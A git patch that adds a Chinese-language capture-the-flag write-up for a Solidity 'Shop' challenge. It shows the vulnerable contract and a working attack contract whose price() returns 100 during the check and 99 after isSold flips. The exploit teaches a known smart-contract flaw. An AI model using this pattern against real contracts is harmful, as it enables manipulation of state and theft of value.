From 0dd44811935c6b3734ce0583a5b1cf5010055d3e Mon Sep 17 00:00:00 2001
From: alich <64965027+alichaw@users.noreply.github.com>
Date: Sun, 22 Sep 2024 23:51:48 +0800
Subject: [PATCH] Create 21_Thankyou.md

---
 Writeup/freepavel/21_Thankyou.md | 62 ++++++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)
 create mode 100644 Writeup/freepavel/21_Thankyou.md

diff --git a/Writeup/freepavel/21_Thankyou.md b/Writeup/freepavel/21_Thankyou.md
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+# shop
+## 題目
+<img width="451" alt="截圖 2024-09-22 下午11 48 14" src="https://github.com/user-attachments/assets/adac9fa6-661d-40c7-9f29-e626353add4a">
+
+## 合約
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface Buyer {
+    function price() external view returns (uint256);
+}
+
+contract Shop {
+    uint256 public price = 100;
+    bool public isSold;
+
+    function buy() public {
+        Buyer _buyer = Buyer(msg.sender);
+
+        if (_buyer.price() >= price && !isSold) {
+            isSold = true;
+            price = _buyer.price();
+        }
+    }
+}
+```
+有一個問題就是它在執行價格檢查和狀態變更時，會依賴於外部合約返回的價格資訊
+## hack
+我們可以寫一個攻擊合約，在合約的 price() 函數中使用不同的返回值：
+
+1. 當 Shop 合約檢查價格時，返回一個大於等於 100 的值，以通過檢查。
+2. 在狀態變更為 isSold = true 後，返回一個較低的值來更新 price，實現以低價購買商品。
+```solidity
+pragma solidity ^0.8.0;
+
+interface IShop {
+    function buy() external;
+    function price() external view returns (uint256);
+    function isSold() external view returns (bool);
+}
+
+contract Hack {
+    IShop private immutable target;
+
+    constructor(address _target) {
+        target = IShop(_target);
+    }
+
+    function pwn() external {
+        target.buy();
+        require(target.price() == 99, "price != 99");
+    }
+
+    function price() external view returns (uint256) {
+        if (target.isSold()) {
+            return 99;
+        }
+        return 100;
+    }
+}
+```